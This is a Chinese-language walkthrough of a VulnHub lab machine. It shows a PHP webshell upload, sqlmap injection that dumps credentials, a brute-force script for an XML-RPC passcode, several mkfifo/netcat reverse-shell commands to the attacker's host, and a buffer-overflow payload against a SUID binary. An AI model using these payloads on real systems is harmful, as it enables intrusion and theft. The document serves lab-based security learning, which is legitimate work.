靶机下载地址:用vbox运行https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
xmlrpc参考链接:
https://docs.python.org/zh-cn/3/library/xmlrpc.html
主机发现
利用arp-scan命令,扫描到局域网中的这台靶机的IP地址为192.168.0.63
└─# arp-scan -l
全端口扫描
对192.168.0.63进行全端口扫描
─# nmap -p- 192.168.0.63
发现了22,80.8000端口
针对这3个端口,对其发现服务
└─# nmap -p22,80,8000 -sV 192.168.0.63
22端口对应SSH服务
80端口对应了apche的http服务;
8000端口对应了python脚本编写的Basehttp服务;
在浏览器中查看目标靶机的8000端口里的web服务,如图所示:
返回了501的状态码(服务端错误),服务端是不接受GET请求的(默认浏览器访问是GET请求,但是该靶机的web程序是不接收GET请求的!)
HTTP-501状态码说明
当看到这个奇怪的结果,就需要利用burpsuite来改变其请求方法,观察服务端的回应情况。
HTTP请求方法图例说明
首先将kali中自带的火狐浏览器代理功能打开!
打开burp suite之后默认拦截功能是开启的,再次刷新浏览器的访问http://192.168.0.63:8000/
将拦截的内容发送至 repeater(因为默认情况下访问请求是get)
在repeater中手动修改其请求方法为POST,服务端返回状态码为500
在repeater中手动修改其请求方法为options,服务端返回状态码为501
在repeater中手动修改其请求方法为put,服务端返回状态码为501
在repeater中手动修改其请求方法delete,服务端返回状态码为501
修改请求类型的方案目前行不通.....
回到之前扫描出来的其他端口,关掉拦截功能,访问80端口。
如图所示:
看到了一个web的登录界面,用email账号和密码组合登录
不要想着用密码爆破登录,因为账号是一个email格式存在,这就造成了爆破难度非常大(不太容易找到邮件账号地址),如果用普通的账号,系统会提示错误的!
不过好在这个web登录界面存在一个注册的页面 sign up
从这个注册页面中的邮箱地址上来看,就证明了如果用密码爆破的不可能性!因为账号是一个很随意的邮箱地址(目标靶机是一个社交类的网站,因此填写好地址,个人信息等)
利用web程序开放注册的功能,注册一个账号,登录到后台页面看看有什么可以挖掘的地方。
在实际的护网,渗透测试,注册账号时请利用虚假的账号来进行防溯源。注册好之后登录,你可以发一些自己的帖子
也可以看到管理员发的帖子。
注意管理员发的这个帖子中描述了一个用来监控服务器的monitor.py
目标靶机大概率存在了Python语言的运行环境,至于这个monitor.py这个脚本是否在运行也是不得而知,至少知道有一个admin的账号
接下来核实管理员这个账号的邮箱地址,点击admin字样,看看其管理员的邮箱地址格式,好进一步进行密码暴力破解,如图所示:
结果没有发现管理员的邮箱地址,无法进行密码的破解。
上传漏洞利用
继续的我信息收集,在页面中可以看到可以更改用户的头像,证明了该web程序具有上传的功能。(能否利用上传功能上传一个webshell)
现在目前的用户头像是空白的,点击浏览~
上传一个我写好的php文件,测试目标靶机是否有过滤该文件的机制!
<?php eval($_POST['ant']);?>
shell.php文件位置,将这个上传到头像处。
因为是一个PHP文件,因此头像是空白的。
点击上传:
右键拷贝图片路径(所在服务器的URL地址)
拷贝出来,这就是服务端对这个图片的URL地址http://192.168.0.63/data/images/profiles/3.php
打开火狐浏览器的另外一个页签,粘贴图片的URL路径,刚才编写的这个Php文件已经被上传成功了!
回车访问,页面回显空白,开始利用蚁剑的连接功能
蚁剑上线
中国蚁剑介绍
百度云下载地址:
分为加载器和核心代码
链接:https://pan.baidu.com/s/1kCI2i9upwidF1rlYzDccgg
提取码:e060
我这里演示的是在kali中如何安装蚁剑
上传文件后,用unzip解压出加载器和核心源码
默认kali是有unzip的
解压
我将解压后的核心源码移动加载器目录(根据自身需求)
──(root💀kali)-[/home/fengxin/桌面]
└─# mv antSword-master /home/fengxin/AntSword-Loader-v4.0.3-linux-x64
运行加载器
根据自己的需求选择一个文件运行目录
即可正常运行
若是出现以下画面,请检查是否下载了源码
------
话题转回,将这个拷贝的图片的路径利用蚁剑上传给服务端,看看有没有上传漏洞。
点解测试连接没有问题后,然后点击添加
这样的话,这条webshell链接就成功了!(上传给服务器的PHP页面是成功的,服务端并没有过滤此格式的文件)
遇到这样的链接不上情况,请检查shel.php那个文件是否写正确。
右键打开虚拟终端
目前突破了边界,只不过当前的账号身份权限为www
目标靶机漏洞扩充展示
目标靶机中,除了上传漏洞之外,还有sql注入漏洞
如图所示:我在搜索栏中,输入一个单引号尝试脱库操作!
页面就直接提示回显提示了!看到这个sql语法提示,存在了sql注入漏洞,且目标靶机使用的数据库产品就是mysql。利用sqlmap工具执行sql注入工具
出现这样的sql注入漏洞,我先打开burp拦截功能并开启浏览器代理,然后在重新提交
再次在搜索栏中任意输入一个字符
将拦截下的所有内容复制
在本地kali中,写入一个文件,我这里取名为f,将内容粘贴,这里的内容是输入栏中发往服务端的请求内容
建议在记事本中按照这样的格式调整,否则有概率出现sqlmap寻找文件不成功。
利用的是query的参数请求发动sql攻击
打开sqlmap
─# sqlmap -r f.txt -p query
只对query这个参数,经过检测和翻译,这里选择回车跳过也可以按y
这里看翻译也是选择回车
接下来就拜托给sqlmap的所有攻击探测,在探测的过程中,sqlmap已经提示了query是脆弱的,既然有了这个漏洞,这里选择n,不在继续测试及其他。
既然有query的漏洞,我这里用└─# sqlmap -r f.txt -p query --dbs 命令查询目标靶机存在哪些数据库。
对数据库了解的朋友一看就知道socialnetwork'不是默认的数据库
利用sqlmap的命令sqlmap -r f.txt -p query -D socialnetwork --tables针对 socialnetwork这个数据库查询存在哪些表?
如图所示:
针对这些表名,我经过翻译,无非就是用户,用户联系方式,账号之间朋友关系,发文的帖子
针对users这个用户表,顾名思义,应该能查询到相关用户。
└─# sqlmap -r f.txt -p query -D socialnetwork -T users --columns
得到了生日,邮件,昵称,家庭住址,密码,状态,位置,性别,姓氏的列信息,
对之前默认网站的首页登录文件来看,需要email地址和密码,因此着重对这两个信息进行收集;
sqlmap -r f.txt -p query -D socialnetwork -T users -C user_password,user_email --dump
针对sqlmap发现的哈希值得处理询问,这里选择yes
sqlmap提示是否需要破解,直接回车默认yes
利用sqlmao的内建字典来进行破解,再次按回车!
这里选择no ,不用添加后缀
经过查询结果如下:将管理员邮箱地址和密码拷贝出来
21232f297a57a5a743894a0e4a801fc3 (admin) admin@localhost.com
回到web登录界面,输入管理员账号密码,别忘记关闭burp拦截和浏览器代理
admin@localhost.com
密码admin
验证登录成功,在管理员页面中没有发现明显漏洞。
到此为止sql注入漏洞利用完毕
--------------
想到利用sqlmap发现的用户,尝试SSH登录。
回到蚁剑上线的反弹shell页面
查看目标靶机的系统版本和内核,发现针对ubuntu系统(18.0)本地的提权漏洞方法(CVE-2021-3493)
关于这个漏洞,建议上github.com
解压
exploit.c这是是c语言编写的,需要将他发送到目标靶机用gcc编译,执行后实现目标靶机提权!
利用蚁剑的文件上传功能:
直接拖动进来
回到当前目录下,查看该文件
用gcc编译输出expo 并给执行权限。
在执行的时候发现,虽然能够正常执行,但是被退出了!
根据蚁剑报错翻译,得知蚁剑shell功能不全导致的!想办法将这个shell反弹到我的kali本地去操作
为了解决这个问题,在蚁剑中准备输入以下命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.208 3028 >/tmp/f
这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。
先监听kali本地的3028号端口
在蚁剑中输入:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.208 3028 >/tmp/f
这时候终端上就有了反弹的shell
为了更好的升级shell让其变得更加友好,再次输入一下命令
www-data@socnet2:/var/www/html/data/images/profiles$ python -c "import pty; pt.spawn('/bin/bash')"
执行expo的文件,到此为止提权成功!
之前描述的靶机的难度为高难度,为何这么容易就被攻破了呢?
先来看下这个靶机的发布时间,而我现在身在2021年,用今年发现的漏洞利用代码才得以实现!
具体信息链接:https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/
接下来,开始了漫长的打靶之路,我不以这个内核漏洞进行提权,打靶继续开始......
这个过程涉及以下技术点,这些技术点是很难的!
回到之前的普通身份
摒弃之前的漏洞代码,开始信息收集....
查看当前系统的密码文件,发现有个名为socnet的用户可以登录系统的账号(用于bin/bash登录)
尝试进入到socnet家目录,在该用户的家目录下发现了三个文件,其中有一个monitor.py的文件就是在web界面中管理员描述为监视服务器运行状态。
为了验证管理员描述的monitor.py这个文件已经运行的真实性,利用ps命令查看该进程!证实系统中确实存在monitor.py这个文件进行
ps aux |grep monitor.py
因此monitor.py是已个Python文件,利用cat命令读取,接下来会对其源码分析
相关知识说明
xml-rpc在服务器端中生成一个API接口,这样服务端就可以接受来自装有xml-rpc客户端的请求方式,来提供应用交互。我查询了xml-rpc介绍
为了进一步了解rpc访问方式,我们去官方来看看它的工作原理,地址为:https://www.python.org/
从官网的python通用库标准中获取得到了部署服务端后,利用客户端来连接服务端的应用。https://docs.python.org/3/library/ 找到互联网协议和支持模块,
---摘自rpc官网
就可以看到xml-rpc由客户端和服务端组成,访问方式就是服务端搭建好之后,通过客户端就可以连接服务端的应用了。
在其官方网站中可以看到rpc服务端和客户端的代码书写情况。
为了更清楚知其原理,我这里举例直接点击客户端的模块观察其中的编码文件内容
在这段示例代码中引出了一个函数 even
示例代码模块详解
from xmlrpc.server import SimpleXMLRPCServer -- rpc服务端
导入库文件
def is_even(n): -- is_even 的函数,代表了事件 nreturn n % 2 == 0 -- 当客户端触发了这个函数,
服务端将执行该代码 ↓ ↓ (具体的服务和端口,API接口)
server = SimpleXMLRPCServer(("localhost", 8000))
print("Listening on port 8000...")
server.register_function(is_even, "is_even")
server.serve_forever()
在了解完rpc的基本工作原理之后,回到靶机上,看一下其web程序中的xml_rpc是如何编写的?
具体代码解释如下
#my remote server management API
import SimpleXMLRPCServer -- 引入了一个简单的服务模块
import subprocess -- 进程
import random -- 引入随机数
debugging_pass = random.randint(1000,9999) -- 变量定义debugging_pass(看名字是一个密码的意思),通过radom.radint模块生成1000到9999的随机数字(每次程序运行都会生成一个新的随机数字)。
def runcmd(cmd): -- 定义一个runcmd的函数(运行命令)
results=subprocess.Popen -- 又定义一个结果results的变量,过程中包含了新的进程,启用了shell 标准的输入输出
(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
def cpu(): -- 定义了cpu的变量
return runcmd("cat /proc/cpuinfo") --调用命令
def mem():
return runcmd("free -m")
def disk():
return runcmd("df -h")
def net():
return runcmd("ip a")
def secure_cmd(cmd,passcode): -- 定义secure_cmd函数,调用了cmd和passcode
if passcode==debugging_pass: -- 判断 是否等于之前那个1000-9999随机数(重点破解)
return runcmd(cmd) -- 判断等于结果的输出
else: -- 判断不等于的结果输出
return "Wrong passcode."
server=SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
-- 导致之前对目标靶机web访问请求方式的失败原因,只接受xml_rpc方式。
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()
还记得我之前访问目标靶机的8000端口了吗,经过测试目标靶机的web应用程序既不接受GET请求,也不支持POST等的访问请求,到这里我终于明白了原来目标机接收的是xml_rpc的请求访问方式!
源码分析完成!
在kali上先生成一个.py文件访问服务端,根据rpc官网的示例代码,将这个代码复制,最后稍微修改下这个客户端示例代码的!
因此,我需要用xml_rpc的方式写入图中的测试代码,生成一个python文件测试cpu这个函数,去推断出passcode这个随机数。
192.168.0.67是靶机的目标地址;
在kali 本机上创建一个.py的文件,这我取名为m.py
利用python脚本工具运行,在结果上来看,服务器接收了客户端查询cpu的请求,并且正确返回结果
为了测试更多的函数,这次按照我代码打印输出的3个函数
再次执行,再次可以通过这个方法,服务器会执行这样的三个函数,内存,CUP 网络的信息的一次性查询。
通过对源码的分析,明确的知道cpu这几个函数是信息是固定不变的,唯独这个secure_cmd里的passcode是不确定的,我们想要得到系统的操作命令,就必须要知道这个passcode。
通过暴利破解方式,来获取xml那个服务端的随机的4位数。
先在kali上生成一个m1.py的文件(要注意格式)
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.0.67:8000/") as proxy:
for p in range(100,10000): #循环一个变量p
r = str(proxy.secure_cmd('whoami', p)) #定义r的变量,里面包含了系统命令和这个随机数的这样组合方式
if not "Wrong" in r: #不包含的输出显示
print(p)
print(r)
break #抄底结束
如图所示:破解出了一个随机的4位数,当目标系统执行7421的数值,就会成功执行whoami的这条命令--返回的目标靶机的当前用户名,将这个7421这个值复制下来
编辑m.py文件,通过获得的随机数,让服务端执行系统指令。
编写m.py这个文件,最终通过反弹shell.
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.0.67:8000/") as proxy:
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.208 3029 >/tmp/f" #利用mkfifo的系统操作命令实现反弹shell链接
r =str(proxy.secure_cmd(cmd, 7421)) #调用这个随机数
print(r)
先在kali上监听3029的端口
然后执行
最终获得了一个反弹shell的链接。
好不容易拿到这个shell后门,需要将它升级的更为友好!
socnet@socnet2:~$ python -c "import pty; pty.spawn('/bin/bash')"
查看其身份socnet用户,进入到其主目录下!
看到这,就会明白了利用monitor.py这个文件中xml_rpc的API接口取得了从www用户到socknet的权限!
到达目前的进度时,还没有完成对靶机的最终攻入,因为还不是root权限,接下来需要进一步进行提权到root!
在cocnet这个家目录下的add_recprd这个文件,需要看一看
通过file文件查看add这个文件格式,得到的结果是ELF 32位的。
针对ELF文件格式可以理解成类似windows下PE的文件格式
通过对add这个文件格式查看,得到在运行时是通过运行suid,并且在文件权限中也是有这样的权限位。
观察到这,就可以明白靶机的作者的意图,在于通过这个文件的SUID权限位来进行提权(因为这个文件的属主账号是root)
按照这个现象,我的思路还是还是通过反弹shell连接,拿到root权限....
为了更详细了解add这个文件的关系,我先观察peda文件--动态调试
想到动态调试,势必会有内存溢出的漏洞,堆溢出漏洞。
利用GDB调试这个文件来跟踪其运行情况。
漏洞挖掘思路本地和远端的简单介绍
了解完漏洞挖掘的基本流程,就需要知道知道靶机中add_record有哪些数据注入点?
尝试运行add_record文件;
从图中运行的结果上来看,这就是一个数据的提交点,让输入一个员工的信息、
填上名字,年限,薪资,工作中的问题选择
我先选择这样的没有遇到工作问题的逻辑流程
输入完成后,再次查看用户家目录下的文件,发现多出了一个文件
查看该文件:记录均在里面。
再次选择执行工作中遇到了问题的业务逻辑,这里选择了1.
给出了描述的注入接口,我写出了一个简单的描述性的信息。
看下执行过程的结果,同样发现也是被记录了。
再次查看用户的家目录里的txt文件里的内容,发现被增加了。
总结的来说,姓名,薪资,年限,工作中的是否有问题,问题描述都是数据入口点。
接下来针对这些数据入口点,来侦测是否存在内存溢出的漏洞!
用gdb (动态调试程序的一个工具)以安静的模式调试add_record这个程序,进行详细跟踪了解具体的哪个数据提交过程能造成溢出等漏洞!
输入r (run运行的意思)才能被真正运行(程序按照指定的逻辑运行),不输入只是调用的意思。
当运行开始后,针对姓名这个注入点输入何种数据内容,按照业界的习惯,这里需要输入大量的字母A,来监视内存的变化(靶机内存存在缓冲区漏洞会覆盖其他寄存器位置,通过判断其他寄存器位置的数据是否都是A,最终判断这个注入的数据是否成功的溢出到其他的寄存器中)来引发程序的异常,进一步修改寄存器里的值。
利用python写入一个100-5000任意范围的A,并输出(通常这个取值范围如果足够大还没有引发,大概率说明目标不存在缓冲区溢出漏洞!)
这里,我先取值为500个A,将这些A复制。尝试500个A是否能造成当前注入点的内存溢出
在姓名注入点输入500个A后,程序退出状态,说明不存在内存溢出漏洞
既然不存在,我就简单的输入一个,继而探测下一个注入点(工作年限),再将500个A注入,结果无异常!
继续下一个注入点 (薪资)
结果无异常!
继续下个注入点(工作中是否存在问题)
结果无异常!
在选择工作中是否存在问题,选择1 的这个注入点的时候,发现了内存溢出的情况(堆栈中出现了A)
小插曲
我截图时,不小心将nc调入后台了,不要担心,经过查询,使用以下命令可调出!
在此次发现的缓冲区溢出漏洞,请初学者尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。
那么问题来了,这4个A是500个A中的第几个A呢?因为这个答案影响着溢出的临界点,就能精准的判断是多少个数值覆盖到其他寄存器中。
为了搞清楚这个问题,这4个A的位置采用加载payload的内存地址,这样一来EIP寄存器就会存入我们写的地址,CPU在运行时,就会调用EIP的信息里的地址,从而反弹shell,获得目标系统的管理权限。
为了更快的精准定位溢出的数量,我将500个A的数量锐减到200个、
首先还是打印出来,复制200个A
结果显示200个还是大,继而测试了100,还是无法精准的定位。
那么现在的数值范围可以锁定在小于100了。
利用特征字符来识别这4个A在100个字符中的那几个。
在输出的这100个字符中有这么个特征(连续的4个字符各不相同。)
从而精准的判断EIP寄存器中里的字符是谁了。
将这些不同的字符复制。
再次利用gdb调用
这次的EIP寄存器结果为AHAA
其实这个AHAA在特征字符中也很好找到。
但是在实际的开发程序中,这个偏移量是非常大的!几百行甚至上万的数据让你肉眼是无法快速识别的!
辛亏有了gdb,它能识别出是哪些位置的序列。
利用pattern search,能看到EIP的偏移量是62,说明从第六十三个字符中进入到EIP寄存器中。
EIP+0 found at offset: 62
继续填写程序中描述的数据,数量只是变成了62个A。
利用python 的打印功能,将66个数输出(只不过这62个A用来占位,后面4个数值才是最后的payload用到的)还是将这些复制下来。
来证实BCDE这4个字符是否会在EIP寄存器中。
在等到描述中输入,结果EIP缓存器中写入了BCDE
EIP: 0x45444342 ('BCDE')------->这里面的内容决定了是否关键提权。
这就可以在EIP寄存器中写入我们想要的数据了。
这里需要补充说明的是
EIP: 0x45444342 ('BCDE')中45444342的意思,只不过在内存中的16进制表示是反过来看(CPU架构‘大头,小头的概念)。
45 是ascii码E
44 是ascii码D
43 是ascii码C
42 是ascii码B
利用汇编代码写入EIP寄存器里从而取代BCDE,从而执行shell命令的内存地址。接下来,我们要对这个EIP寄存器的溢出漏洞进一步的挖掘!
首先查看这个程序中所用程序入口发向CPU的汇编代码情况。
gdb-peda$ disas main 这个命令的意思就是将这个add的主程序加载。
需要一定的汇编代码基础。
关于汇编代码简单的说,一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。
从这个add程序的运行来看也不列外,当我在运行这条程序时,首先弹出了欢迎页面,然后在弹出了一些指定的提示。
根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。
add程序汇编功能举例
先来看下执行call的功能里的内容:
@plt是c语言的的内建函数。
fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思。
接下来往下看,又调用了一个call的功能函数
而这个函数则调用了put,其作用是输出,配合Printf内建函数进行打印输出。
为了验证put调用函数前的内存地址,在puts之前下一个断点。
证明在这个断点之后能出现我们能够看懂的文本内容,就能判断程序流程是否正确!
将这个地址复制 0x0804873d
注意从上往下看,不要任意的去复制,否则你会理不清程序的流程逻辑。
进行断点测试,输入break 后 添加一个 *0x0804873d
配置断点1
继续利用gdb工具 run这个add程序,当到达这个断点时,程序会停止
接下来我们要证明程序的流程需要按s,单步向前只进行对一个cpu的指令。
如图所示:堆栈界面中出现了提示,而这些提示就是欢迎页面信息这个流程了。
在知道了printf的内建函数的意思之后,我们可以在第二个Printf之前,下一个断点,来了解这一个程序入口的意思。
复制 *0x0804877b
为了更清楚设置断点,我先删除掉之前的第一个断点
删除之后,在第二个printf前下一个断点。
下完断点之后,再次执行run命令 r
因为这个断点在欢迎页面后,所以,我们需要输入用户名之后程序才可以碰到断点,这里先输入用户名。
当到达断点时,需要按s 进行单步运行,提示工作年限的信息。
根据Print这样的提示,第一个printf一定是输出用户名了
可以去验证,将第一个Printf之前的一个程序 *0x0804874f复制
将第二断点删除,并添加这个断点
再次r 运行,这次直接运行,结果显示程序还没触及到输入用户名的断点。
按s 单步跟进,程序就一定会触及输入用户名的断点。
按c ,可以让程序提示显示到前台来
通过这样的断点测试,根据函数的调用位置已经很清楚程序的逻辑。
接下来,我们继续分析下程序的逻辑,除了put printf的内建函数,还有一个vuln 的函数,这个单词让我引起了怀疑。
在我靶机选择的网站中,有一个网站叫做vuln的,意思就是易受攻击
有了这个怀疑之后,我往下看vuln后面可是没有跟@plt的函数,说明它不是一个系统函数!而是开发者自己编写的。
为了排除这个vuln是不是系统函数,先来查看这个程序所定义的所有函数
gdb-peda$ info func
这个列表是非常大的。
仔细来看看有什么函数
看到了setuid函数,说明有些程序是调用了suid这个函数的
system函数是用来调用操作系统指令。
分析到这里说明这个add_record程序是存在调用操作系统指令的功能!
接下来的漏洞挖掘重点就是这个方向!(程序调用系统指令)
看到了vlun的函数以及backdoor
尤其是backdoor,英文翻译过来不就是后门吗?对于这个后门程序是作者故意留下来的?
既然发现这两个可以函数,就需要去了解这两个函数的包含意思。
查看vuln这个函数执行了哪些汇编指令,针对汇编指令中的各类函数,有一个strcpy@plt函数让我去查询,这个是内建函数
经过查询,对于strcpy漏洞 函数出现的原理和方式。
历史版本存在已知的漏洞。
再次查看backdoor的汇编情况,也是利用call调用了setuid的内建函数,请求完之后又调用了system内建函数(尝试执行系统的操作指令)。
接下来就需要对system这个函数进行跟踪,要确定调用了哪个系统指令,先还不能够确定!
这里就需要知道第一个ebp函数的内存起始地址,将这个内存地址写入EIP寄存器,也就意味着通过程序的正常运行描述环节(explain)的变量,通过EIP寄存器读取这个内存地址下面的所有指令,包括执行了suid和system的指令!
甚至,我们在查看主程序中也能查看到执行了vuln的动作
gdb$ disas main
查看backdoor里的调用内容的内存地址。0x08048676
遵照前文所说内存地址表示的方式,需要反过来,0x08047686
利用python 的拼接,调用库功能,来实现反向拼接。
为了完整的进行程序入口拼接,需要将用户名,年限,薪资等数据按照换行来输入(这我的用户名abc 年限为2 薪资为1 与遇上了工作上的问题1),并生成一个payload文件
python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload
里面有乱码不要担心,因为是内存地址格式,导致字符不识别!
在目标靶机中先退出gdb调试器,并输入之前的这个 命令,生成一个payload文件
python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload
接下来,将这个payload文件一次性的输入给add_record这个程序。
再次运行gdb调试工具
在执行过程中提示的信息很明显,新增了几个进程,并分别执行了/bin/bash /bin/dash
根据这样的提示,我们来研究下其原因
先退出gdb,然后在查看其主程序中的vuln
gdb$ disas main
0x08048834 准备在其位置中下入断点,单步跟进后,来了解vuln这个函数怎么把backdoor函数加载进来的,而backdoor函数是如何引出这两个shell的?
在vuln函数下一个断点!
下入断点之后,再次运行 r < payload 使其触发到vuln断点
单步s 跟进,重点关注堆栈和寄存器里的值
需要多次单步跟进s ,直到在堆栈中发现backdoor函数,调用了setuid
再继续往下s跟进(经过比较长的时间),可以查看到调用了system函数了
在日常的漏洞挖掘中,比如0day 漏洞,都需要经过大量的动态调试来跟踪内存地址的变化(请坚持!),当然也有对应的自动化工具来完成,这里我先不做分享!
看到这时,调试的进度需要放缓,仔细观察EAX寄存器的的位置!
到此为止,就可以明白这个漏洞产生的原因,在目标靶机中主程序add_record中有一个vuln函数(存在漏洞scrpty),
接下来,就要利用payload这个漏洞代码来触发这个程序,返回root权限!
这里获得了欢迎页面和黑屏的提示
不要紧张,直接输入ID 得到了root的身份
socnet@socnet2:~$ cat payload - | ./add_record
为了获取更加友好的shell ,这里还是利用先进先出的堆栈原理!
先监听目标靶机的3031端口
为了获取更加友好的shell ,这里还是利用先进先出的堆栈原理!
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.208 3031 >/tmp/f
最后查看,成功获得反弹shell
root目录下也没什么东西
今天的高难度,打靶到此成功!
请初学者多多练习!